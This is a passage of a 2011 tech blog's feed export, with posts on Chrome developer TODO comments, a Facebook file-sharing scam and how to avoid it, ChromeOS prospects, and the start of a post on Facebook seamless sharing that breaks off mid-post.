&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;To see these To do things.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Open a new tab in Google Chrome, don&#39;t go to any website.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Now,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;right&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp;click on the blank page and select &#39;View page source&#39; option.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Now in a new tab you&#39;ll get the code of the blank tab, it&#39;s written in HTML so very easy to understand.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Now, press F3 and in the search text box type &lt;/span&gt;&lt;b style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&#39;todo&#39;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;&quot;&gt;You can do the same with the options tab of Chrome. &lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;And there you have it, at the time of checking there were 33, to do things inside it. Going through them some of them looks very&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp;interesting. &amp;nbsp;The words inside the brackets are actually the names of the programmers either who have made the comment or people who are wither going to do these things in the future.&lt;/span&gt;&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;Some of them include bug reports, bugs that were reported in previous versions, but they didn&#39;t fix the bug in thins version but hoping to finish it in the next version.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;/* Text alpha doesn&#39;t work on Linux/GTK and ChromeOs/views.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp;* TODO(estade): http://crbug.com/88688. */&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;Some of these comments are about improving hoping to do in future.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; // TODO(rbyers): It might be nice to preserve animation of dots after an&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; // uninstall. Could we re-use the existing page and dot elements? &amp;nbsp;It seems&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; // unfortunate to have Chrome send us the entire apps list after an&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; // uninstall.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;----------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: pre-wrap;&quot;&gt;/* TODO(estade): this mask is disabled for technical reasons. It negatively
   * impacts performance of page switching, also it causes problems with Mac
   * text: http://crbug.com/86955&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;----------------------------------------------------------------&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;Some of these TODOs are&amp;nbsp;suggestions&amp;nbsp;about future changes in the how Chrome looks.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;/ TODO(csilv): Should we vary this color by platform?&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;----------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: pre-wrap;&quot;&gt;/* TODO(estade): find a better color for active. */&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;----------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: pre-wrap;&quot;&gt;// TODO(arv): Handle scrolled documents when needed.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: pre-wrap;&quot;&gt;----------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;/* TODO(estade): remove this border hack and replace with a webkit-gradient&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;The thing that I&#39;m quite not sure is whether these comments and ToDos are left by Chrome&amp;nbsp;programmers&amp;nbsp;from Google or Chromium programmers. If you are using Chromium browser, try to finding out what&#39;s inside Chromium, let me know if these is anything new.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/7224731823482944995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2011/12/chrome-developers-leave-future-to-do.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7224731823482944995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7224731823482944995'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2011/12/chrome-developers-leave-future-to-do.html' title='Chrome Developers Leave Future &#39;To Do&#39; Lists Inside The Browser.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQu4Apl5Mc32ABQ3ii4YuPxwmlqO7B0_xOTdujxu8pclx98gAEW_-I8F3Xxs9i92eYuRl3R5lZX1r6wLf2YUTkBzweDurhEL9CYNv9I6E7AIIN-Yh_9WfXvAsOPkwAgHfyQoCY8Cf_F4w/s72-c/Chrome-logo-2011-03-16.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>Colombo, Sri Lanka</georss:featurename><georss:point>6.9270786 79.861243</georss:point><georss:box>6.8009901 79.7033145 7.0531671 80.0191715</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-5719292665925141067</id><published>2011-12-24T11:59:00.000+05:30</published><updated>2012-08-08T09:38:02.050+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Social Media"/><category scheme="http://www.blogger.com/atom/ns#" term="Spam"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>No, You Can&#39;t Send Files Up To 2GB On Facebook.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Recently I a message that&#39;s going around on Facebook that said about an app/extension&amp;nbsp;that&#39;ll give you a chance to send files up to 2GB&amp;nbsp;directly&amp;nbsp;from the chat&amp;nbsp;screen, like we do it on Gmail.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;I decided to follow the link and see what&#39;s on the other side, the link goes to a site that tells you to another scam website that asks you to pay some money to get a premium services&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;, a typical Facebook scam. Unfortunately I wasn&#39;t able to find the source of these scams because all of the links that I tried from the above scam took me to websites that made the scam propagate, however there are some interesting things I want to share about this scam.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;If you look at the scam message, the&amp;nbsp;scammers&amp;nbsp;have used some interesting&amp;nbsp;methods&amp;nbsp;to go under the radar of the Facebook spam detection system.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Firstly if you look at the scam&amp;nbsp;message&amp;nbsp;there is a number at the end &lt;b&gt;#536745,&lt;/b&gt;&amp;nbsp;the trick is to put a&amp;nbsp;randomly&amp;nbsp;generated number at the end of the scam message, this makes it harder for the Facebook spam detecting system to find this as a scam because each message is&amp;nbsp;different&amp;nbsp;from one another.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;The second thing is the link, &lt;b&gt;bit.ly/xxxxx?7524000, &lt;/b&gt;by adding a random number at the end of the scam link also makes it even more harder to Facebook to catch this as a scam, this is possible&amp;nbsp;because&amp;nbsp;for some reason the bit.ly and any URL&amp;nbsp;shortening service will drop any character after &lt;b&gt;? &lt;/b&gt;and&amp;nbsp;doesn&#39;t&amp;nbsp;give any error&amp;nbsp;message, so scammers can use this to go under the radar of the Facebook system.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;If you like to dig even harder like I did, go to ewhois.com enter the site address and if these scammers are using Google analistics, you&#39;ll see different sites using the same Google&amp;nbsp;analytics&amp;nbsp;code, which means the sites are being run by the same person. When I checked out with the site above, I saw different scam sites run by these sammers that&amp;nbsp;include&amp;nbsp;a fake eBay type website waiting to snatch&amp;nbsp;credit&amp;nbsp;card information of the&amp;nbsp;unlucky&amp;nbsp;ones.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;How to protect yourselves.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Don&#39;t click on deals that look out of ordinary,&amp;nbsp;example&amp;nbsp;free iPad deals.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Don&#39;t click on the links that have exciting taglines, example &#39;amazing&#39;, &#39;omg&#39;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Don&#39;t click on links that&#39;ll take you to websites that you don&#39;t know.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Finally make sure you mark these messages as spam, so Facebook can block them and tell your friend not to fall for such scams in the future.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/5719292665925141067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2011/12/no-you-cant-send-files-up-to-2gb-on.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/5719292665925141067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/5719292665925141067'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2011/12/no-you-cant-send-files-up-to-2gb-on.html' title='No, You Can&#39;t Send Files Up To 2GB On Facebook.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Colombo, Sri Lanka</georss:featurename><georss:point>6.9270786 79.861243</georss:point><georss:box>6.8640276 79.782279 6.9901295999999995 79.940207</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-7995567714970124107</id><published>2011-12-22T23:22:00.000+05:30</published><updated>2011-12-22T23:22:47.193+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="ChromeOS"/><category scheme="http://www.blogger.com/atom/ns#" term="Google"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>ChromeOS Might Just Be The Next Game Changer.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHZJOTU6IGzuB6Dhq0_yp7Sw5SGSLG3WawPRi_EMGNcLbApOyagCYqDpBBOESD_i7arj9640DW8Jt8JNcBiPPqSI-n60_rFhALr0-hrwENVbcID76gGR87BfXh39EqydtWSFwcmeNIzqU/s1600/chrome_os_5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHZJOTU6IGzuB6Dhq0_yp7Sw5SGSLG3WawPRi_EMGNcLbApOyagCYqDpBBOESD_i7arj9640DW8Jt8JNcBiPPqSI-n60_rFhALr0-hrwENVbcID76gGR87BfXh39EqydtWSFwcmeNIzqU/s320/chrome_os_5.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;There are times in the history of the computing and the internet that changed the the way people used computers in the decades to come in the future.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;For example Apple Making the&amp;nbsp;Macintosh&amp;nbsp;computer. Microsoft making the Windows 95, and when it comes to the internet AOL, Google, and finally the most recent turning point Facebook.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Since&amp;nbsp;Facebook there hasn&#39;t had any major change in the way we use computers&amp;nbsp;except&amp;nbsp;the rise of the mobile devices. When it comes to computing the next major change after the invention of Windows might just be the invention of ChromeOS, and might bite a considerable&amp;nbsp;portion users&amp;nbsp;out of Windows.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;In a recent statistics released, the time people spent online is increasing with the number of people and time they spend on social networks are also increasing. Therefore it&#39;s ok to say in future the internet will be a part of our lives more than ever before. And because of the&amp;nbsp;increasing power of the cloud, more and more things that we needed to do using computer applications can be now done using cloud applications. The best example is Google Docs.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Because more and more computer users increasingly browsing the internet and spending time on social networks, soon all they want will be browser, to browse the internet, connect with&amp;nbsp;friends, share interesting things they find with others.&amp;nbsp;Here is why Chrome OS can change the future in the way we use computers, because the ChromeOS is just a browser, it&#39;ll fill the needs of a regular&amp;nbsp;computer&amp;nbsp;users because most of them don&#39;t have any advanced thing to do using their computers.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;So if everything goes well,&amp;nbsp;after&amp;nbsp;few years we might see, more and more home computers and laptops running on ChromeOS, and Windows will be used only in places like offices and where you need to do advanced things using the computer, like&amp;nbsp;programming or graphic designing.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;The other added advantages of ChromeOS are.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;No need to update the system, it updates automatically.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Patches and security flaws will be updates automatically.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;And&amp;nbsp;because&amp;nbsp;the whole OS is just a browser less memory and less resource usage.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Faster&amp;nbsp;performance out of the computer.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;So just think, if you are a big internet user like me, wouldn&#39;t you be satisfied with something like ChromeOS? I&#39;ll be more than happy to install it on my laptop. But for my desktop computer, i&#39;ll keep windows&amp;nbsp;because&amp;nbsp;I need to do my&amp;nbsp;programming. &amp;nbsp;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/7995567714970124107/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2011/12/chromeos-might-just-be-next-game.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7995567714970124107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7995567714970124107'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2011/12/chromeos-might-just-be-next-game.html' title='ChromeOS Might Just Be The Next Game Changer.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHZJOTU6IGzuB6Dhq0_yp7Sw5SGSLG3WawPRi_EMGNcLbApOyagCYqDpBBOESD_i7arj9640DW8Jt8JNcBiPPqSI-n60_rFhALr0-hrwENVbcID76gGR87BfXh39EqydtWSFwcmeNIzqU/s72-c/chrome_os_5.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>Colombo, Sri Lanka</georss:featurename><georss:point>6.9270786 79.861243</georss:point><georss:box>6.8640276 79.782279 6.9901295999999995 79.940207</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-1948301561530061369</id><published>2011-12-21T14:17:00.000+05:30</published><updated>2011-12-21T15:38:21.682+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Google+"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Tech Thoughts"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><category scheme="http://www.blogger.com/atom/ns#" term="Twitter"/><title type='text'>Down With Facebook Seamless Sharing.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDBNBSwhehIOQpjdWFEE5wCf0ux6A9BnAW8FGB7YltxRs2-5_R_l-zVNrsISgqlrqTkce8rky1KYYiqHIRfDNU2aykiJNo9fnAguexYiiqkJClQPzJu-4QABm5oroyNnsIRFHM6RKfAY8/s1600/facebook_dislike.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDBNBSwhehIOQpjdWFEE5wCf0ux6A9BnAW8FGB7YltxRs2-5_R_l-zVNrsISgqlrqTkce8rky1KYYiqHIRfDNU2aykiJNo9fnAguexYiiqkJClQPzJu-4QABm5oroyNnsIRFHM6RKfAY8/s320/facebook_dislike.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Recently, I had some&amp;nbsp;interesting Twitter conversation on Twitter about Facebook and social networking and the future of the web. After having the conversation I decided to write a series of posts about Facebook and user privacy.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Social networking is a good concept, it helps to&amp;nbsp;connect&amp;nbsp;people and makes a good way for keeping in touch, but that doesn&#39;t mean that we shouldn&#39;t have any privacy on the internet.As much as we want privacy in real life there is no difference when it comes to social networking. Because now tanks to Mark&#39;s&amp;nbsp;genius&amp;nbsp;idea of connecting people, it&#39;s not just people that we know are looking at our photos and&amp;nbsp;information.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;So what can we&amp;nbsp;expect&amp;nbsp;from Facebook in 2012 is far more worse than what we are having right now, it&#39;s called &lt;b&gt;seamless sharing&lt;/b&gt;. As in an article written at &lt;a href=&quot;http://www.readwriteweb.com/archives/why_facebooks_seamless_sharing_is_wrong.php&quot; target=&quot;_blank&quot;&gt;Read Write Web&lt;/a&gt;, in future you&#39;ll have to install a Facebook application&amp;nbsp;before you read articles from your favorite news websites. What these seamless sharing apps will do is that, it&#39;ll post every article your read on Facebook, without you knowing that it&#39;s being shared with your friends, whether you want to share it with your friends or not.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; text-align: left;&quot;&gt;I think there&#39;s something more fundamental going on than this - I think this is a violation of the relationship between the web and its users. Facebook is acting like malware. ~&amp;nbsp;&lt;a href=&quot;http://www.readwriteweb.com/archives/why_facebooks_seamless_sharing_is_wrong.php&quot;&gt;ReadWriteWeb.Com&lt;/a&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfqkK9pIjIQCXHDqjYDjLNDswN6Y048vXvjjQLoSfvDSoR-1tKgOVVp_tPhmOupuT1_yyj7wNfd2GZDb_M7OhBlnn_NQhd0EJy2_2uE0R-NcghOSCdZt7QJTm7nSh_gDizfayFNEP4_EI/s1600/FacebookSeamless.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfqkK9pIjIQCXHDqjYDjLNDswN6Y048vXvjjQLoSfvDSoR-1tKgOVVp_tPhmOupuT1_yyj7wNfd2GZDb_M7OhBlnn_NQhd0EJy2_2uE0R-NcghOSCdZt7QJTm7nSh_gDizfayFNEP4_EI/s1600/FacebookSeamless.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Few websites are now testing this concept of seamless&amp;nbsp;sharing&amp;nbsp;as you can see in the&amp;nbsp;above&amp;nbsp;picture of Washington Post.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
